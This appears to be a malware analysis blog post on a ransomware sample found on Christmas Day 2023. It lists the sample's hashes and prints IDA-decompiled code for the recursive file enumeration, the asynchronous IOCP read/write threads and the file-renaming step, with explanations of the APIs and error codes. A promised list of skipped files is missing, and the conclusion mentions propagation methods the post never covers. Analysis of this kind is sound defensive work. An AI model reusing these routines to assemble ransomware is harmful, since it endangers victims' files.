Christmas Ransomware
This ransomware was discovered on Christmas Day 2023. It is a program written with Microsoft Visual C/C++ using Visual Studio (2012).
Sample Information
Information | Valeur |
---|---|
Analysis date | December 25, 2023 at 12:09:11 |
OS | Windows 10 Professional (build: 19044, 64 bit) |
Tags | ransomware |
MIME | application/x-dosexec |
File info | PE32 executable (console) Intel 80386, for MS Windows |
MD5 | 85A3936612C12269B47F33930F990E8A |
SHA256 | 189EB8CF2EF8043E6438A8618710A07A7C020E77D6BCDD2D561BC50E073BCD83 |
Analyze
Virtual Alloc
This code snippet is setting up a call to the VirtualAlloc Windows API function to reserve and commit a memory region of 65534 bytes (64 KB minus 2 bytes) with read and write access permissions. It does not specify a preferred address for this allocation, thereby letting the system determine where to place the memory within the process’s virtual address space. The register operations in the code appear to be preparing or cleaning up values for future computations or function calls, but their exact purpose is unclear without additional context.
Looking for files
WCHAR *__thiscall sub_401E80(void *this)
{
WCHAR *result; // eax
WCHAR *v3; // esi
HANDLE FirstFileW; // ebx
struct _WIN32_FIND_DATAW FindFileData; // [esp+10h] [ebp-258h] BYREF
result = (WCHAR *)VirtualAlloc(0, 0xFFFEu, 0x3000u, 4u);
v3 = result;
if ( result )
{
sub_401480(result, 0x7FFF, L"%s\\*", this);
FirstFileW = FindFirstFileW(v3, &FindFileData);
if ( FirstFileW != (HANDLE)-1 )
{
do
{
sub_401480(v3, 0x7FFF, L"%s\\%s", this, FindFileData.cFileName);
if ( (FindFileData.dwFileAttributes & 0x10) != 0 && sub_401FD0(FindFileData.cFileName) )
{
if ( lstrcmpW(FindFileData.cFileName, L"..") )
{
if ( lstrcmpW(FindFileData.cFileName, L".") )
sub_401E80(v3);
}
}
else if ( sub_401FD0(FindFileData.cFileName) )
{
if ( (FindFileData.dwFileAttributes & 1) != 0 )
SetFileAttributesW(v3, FindFileData.dwFileAttributes & 0xFFFFFFFE);
sub_401CB0(v3);
}
}
while ( FindNextFileW(FirstFileW, &FindFileData) );
FindClose(FirstFileW);
}
return (WCHAR *)VirtualFree(v3, 0, 0x8000u);
}
return result;
}
The malware then begins searching for files using the FindFirstFileW API. There is a recursive search with FindNextFileW until it encounters a special directory such as ‘.’ or ‘..’.
Here is the list of files that will not be scanned :
File infection process
When he finds a file, he will first check if he can open the file; otherwise, he exits the procedure.
There will be a check of the file size. If the file size is NULL, he closes the file. Otherwise, he will attempt to create an I/O completion port. If he fails, he will also close the file.
Here it the C/C++ code from IDA :
void __stdcall __noreturn StartAddress(LPVOID lpThreadParameter)
{
BOOL QueuedCompletionStatus; // esi
LPOVERLAPPED v2; // ecx
HANDLE *v3; // esi
ULONG_PTR Internal; // eax
DWORD OffsetHigh; // esi
HANDLE *v6; // esi
DWORD v7; // eax
HANDLE *v8; // esi
LPCWSTR *v9; // eax
const WCHAR *v10; // ecx
const WCHAR *v11; // eax
LPCWSTR *v12; // [esp-4h] [ebp-68h]
int v13; // [esp+0h] [ebp-64h]
LPOVERLAPPED Overlapped; // [esp+14h] [ebp-50h] BYREF
DWORD NumberOfBytesTransferred; // [esp+18h] [ebp-4Ch] BYREF
unsigned int CompletionKey; // [esp+1Ch] [ebp-48h] BYREF
LPCWSTR lpExistingFileName[5]; // [esp+20h] [ebp-44h] BYREF
unsigned int v18; // [esp+34h] [ebp-30h]
LPCWSTR lpNewFileName[5]; // [esp+38h] [ebp-2Ch] BYREF
unsigned int v20; // [esp+4Ch] [ebp-18h]
int v21; // [esp+60h] [ebp-4h]
GetCurrentThreadId();
sub_403BBB("ReadWritePoolThread(%u) starting...");
while ( 1 )
{
do
QueuedCompletionStatus = GetQueuedCompletionStatus(
CompletionPort,
&NumberOfBytesTransferred,
&CompletionKey,
&Overlapped,
0x1388u);
while ( !QueuedCompletionStatus && GetLastError() == 258 );
v2 = Overlapped;
if ( Overlapped )
{
sub_403BBB("IO Event %d, result=%d");
v2 = Overlapped;
}
if ( QueuedCompletionStatus )
{
if ( v2 )
{
Internal = v2[3].Internal;
if ( Internal )
{
switch ( Internal )
{
case 1u:
v7 = v2[3].OffsetHigh << 20;
v2[3].Internal = 0;
v2->Offset = v7;
v2->OffsetHigh = 0;
if ( !(unsigned __int8)sub_401700(v2) )
{
GetLastError();
sub_403BBB("ERROR: read next block %u");
v8 = (HANDLE *)Overlapped;
CancelIo(Overlapped[2].hEvent);
CloseHandle(v8[14]);
VirtualFree(v8[283], 0, 0x8000u);
j__free(v8);
}
break;
case 2u:
sub_403BBB("Write block");
if ( sub_4017D0(
Overlapped,
&Overlapped[47].Pointer + 1,
(union _OVERLAPPED::$742A73540840F318F86F9CEE3D494648)(unsigned int)Overlapped[28].hEvent,
0x80u,
3) )
{
sub_403BBB("Write block end");
}
else
{
GetLastError();
sub_403BBB("ERROR: Write last block failed %u");
sub_401890(Overlapped);
}
break;
case 3u:
sub_403BBB("Closing handle...");
sub_402080(&Overlapped[56].hEvent);
v21 = 0;
v9 = lpExistingFileName;
if ( v18 >= 8 )
v9 = (LPCWSTR *)lpExistingFileName[0];
v12 = v9;
sub_403BBB("Path to file %S");
sub_401890(Overlapped);
sub_403BBB("Closed...");
sub_402B90(v12, v13);
sub_403BBB("Moving file...");
v10 = (const WCHAR *)lpNewFileName;
if ( v20 >= 8 )
v10 = lpNewFileName[0];
v11 = (const WCHAR *)lpExistingFileName;
if ( v18 >= 8 )
v11 = lpExistingFileName[0];
MoveFileW(v11, v10);
sub_403BBB("Move done");
if ( v20 >= 8 )
j__free((void *)lpNewFileName[0]);
v21 = -1;
v20 = 7;
lpNewFileName[4] = 0;
LOWORD(lpNewFileName[0]) = 0;
if ( v18 >= 8 )
j__free((void *)lpExistingFileName[0]);
v18 = 7;
lpExistingFileName[4] = 0;
LOWORD(lpExistingFileName[0]) = 0;
break;
default:
GetCurrentThreadId();
sub_403BBB("(%u) ERROR: Unknown operation");
break;
}
}
else
{
OffsetHigh = v2[3].OffsetHigh;
v2[3].OffsetHigh = OffsetHigh + 1;
sub_401190(Overlapped[56].OffsetHigh, Overlapped[56].Offset);
if ( !sub_4017D0(
Overlapped,
(void *)Overlapped[56].OffsetHigh,
(union _OVERLAPPED::$742A73540840F318F86F9CEE3D494648)(OffsetHigh << 20),
NumberOfBytesTransferred,
1) )
{
GetLastError();
sub_403BBB("ERROR: Write current block %u");
v6 = (HANDLE *)Overlapped;
CancelIo(Overlapped[2].hEvent);
CloseHandle(v6[14]);
VirtualFree(v6[283], 0, 0x8000u);
j__free(v6);
}
}
}
}
else if ( v2
|| (GetLastError(),
GetCurrentThreadId(),
sub_403BBB("(%u) GetQueuedCompletionStatus() res=0, str=null, err=%u"),
Overlapped) )
{
if ( GetLastError() == 38 )
{
sub_403BBB("Processing eof in iocp handler");
Overlapped[3].Internal = 2;
PostQueuedCompletionStatus(CompletionPort, 0, 0, Overlapped);
}
else
{
GetCurrentThreadId();
sub_403BBB("(%u) ERROR: Unknown unhandled error, closing file.");
v3 = (HANDLE *)Overlapped;
CancelIo(Overlapped[2].hEvent);
CloseHandle(v3[14]);
VirtualFree(v3[283], 0, 0x8000u);
j__free(v3);
}
}
}
}
This C++ code is a function for managing threads in an asynchronous read/write pool using an “I/O Completion Port” (IOCP) on Windows. The StartAddress
function is called by each thread in the pool. Here’s a summary of its operation:
-
Initialization and Infinite Loop:
- The function starts by obtaining the current thread’s ID and enters an infinite loop to process I/O events.
-
Processing I/O Events:
- Within the loop,
GetQueuedCompletionStatus
is called to wait for and retrieve the next completed I/O packet from the IOCP queue. - If a packet is retrieved, its processing depends on the type of I/O operation (read or write) indicated in the
OVERLAPPED
structure.
- Within the loop,
-
Handling Cases:
- Read (Internal = 1): If it’s a read operation, the code adjusts some fields in the
OVERLAPPED
structure and initiates a new read if necessary. - Write (Internal = 2): If it’s a write operation, the code performs actions related to writing the data.
- Closing (Internal = 3): If it’s a closing operation, the code closes the file handle, moves the file if necessary, and frees resources.
- Read (Internal = 1): If it’s a read operation, the code adjusts some fields in the
-
Error Handling:
- The code handles various error situations, such as read or write errors, or an unknown error code.
- It also deals with the case where
GetQueuedCompletionStatus
returns an error or an end-of-file (EOF).
-
Cleanup and Resources:
- After each operation, the code cleans up and frees allocated resources, such as file handles and allocated memory.
In summary, this function is a handler for asynchronous file read and write operations in a multi-threaded environment, using Windows IO Completion Ports for efficient I/O management.
The function sub_403BBB is used to display various results in the console, such as for example:
This code is to rename the infected file :
sub_403BBB("Moving file...");
v10 = (const WCHAR *)lpNewFileName; // v10 = New filename
if ( v20 >= 8 )
v10 = lpNewFileName[0];
v11 = (const WCHAR *)lpExistingFileName;
if ( v18 >= 8 )
v11 = lpExistingFileName[0];
MoveFileW(v11, v10);
sub_403BBB("Move done");
-
Logging Start of Operation: A message indicating the start of the file moving process is logged.
-
Selecting File Paths: The code determines the paths of the source and destination files, choosing between different options based on the values of certain variables (
v20
andv18
). -
Executing the Move: The
MoveFileW
function is used to move the file from the source path to the destination path. -
Logging Completion of Operation: A message indicating the completion of the file move is logged.
Here is a quick overview of the asynchronous file reading and writing function.
char __thiscall sub_401700(LPOVERLAPPED lpOverlapped)
{
BOOL File; // eax
DWORD LastError; // eax
DWORD v5; // eax
HANDLE v6; // [esp-10h] [ebp-18h]
File = ReadFile(lpOverlapped[2].hEvent, (LPVOID)lpOverlapped[56].OffsetHigh, lpOverlapped[56].Offset, 0, lpOverlapped);
if ( File )
{
if ( !File )
goto LABEL_11;
if ( GetLastError() )
sub_403BBB((int)"Read file continue...");
return 1;
}
if ( GetLastError() == 997 )
return 1;
if ( GetLastError() == 38 )
{
v6 = CompletionPort;
lpOverlapped[3].Internal = 2;
if ( PostQueuedCompletionStatus(v6, 0, 0, lpOverlapped) )
{
sub_403BBB((int)"EOF Sent");
return 1;
}
else
{
LastError = GetLastError();
sub_403BBB((int)"ERROR: post queued failed %d", LastError);
return 0;
}
}
LABEL_11:
if ( GetLastError() != 1784 && GetLastError() != 8 )
GetLastError();
v5 = GetLastError();
sub_403BBB((int)"read_next_block(ReadFile) %u", v5);
return 0;
}
char __fastcall sub_4017D0(
LPOVERLAPPED lpOverlapped,
void *Src,
union _OVERLAPPED::$742A73540840F318F86F9CEE3D494648 a3,
DWORD nNumberOfBytesToWrite,
int a5)
{
void *OffsetHigh; // [esp-Ch] [ebp-14h]
lpOverlapped[3].Internal = a5;
OffsetHigh = (void *)lpOverlapped[56].OffsetHigh;
lpOverlapped->8 = a3;
memmove_0(OffsetHigh, Src, nNumberOfBytesToWrite);
if ( WriteFile(lpOverlapped[2].hEvent, (LPCVOID)lpOverlapped[56].OffsetHigh, nNumberOfBytesToWrite, 0, lpOverlapped) )
{
if ( GetLastError() )
sub_403BBB("Write file continue...");
else
sub_403BBB("Success without 'pending'...");
return 1;
}
else if ( GetLastError() == 997 )
{
sub_403BBB("Pending...");
return 1;
}
else
{
if ( GetLastError() != 1784 && GetLastError() != 8 )
GetLastError();
GetLastError();
sub_403BBB("ERROR: write_block(WriteFile) %u");
return 0;
}
}
About the error code :
-
Error Code 997: This error code stands for
ERROR_IO_PENDING
, which indicates that an asynchronous I/O operation is not yet complete. This is a common status code for operations that are initiated and are expected to complete later, as the I/O request is still in progress. In the context of your code, whenGetLastError()
returns 997, it’s recognizing that an operation is still ongoing and not completed yet. -
Error Code 38: This error code corresponds to
ERROR_HANDLE_EOF
, which means “Reached the end of the file.” It is typically encountered in file handling operations when an attempt is made to go beyond the end of a file, or when a read operation reaches the end of a file.
Conclusion
In conclusion, the “Christmas Ransomware” illustrates the importance of strong cybersecurity in an era of advanced digital threats. This article examined the ransomware’s technical characteristics, propagation methods, and potential impacts, emphasizing the need for ongoing vigilance and regular security updates. Addressing such threats requires a combination of technology, awareness, and global collaboration.
I would also like to express my sincere thanks to the website any.run for providing access to the ransomware for analysis. Your contribution has been instrumental in this research.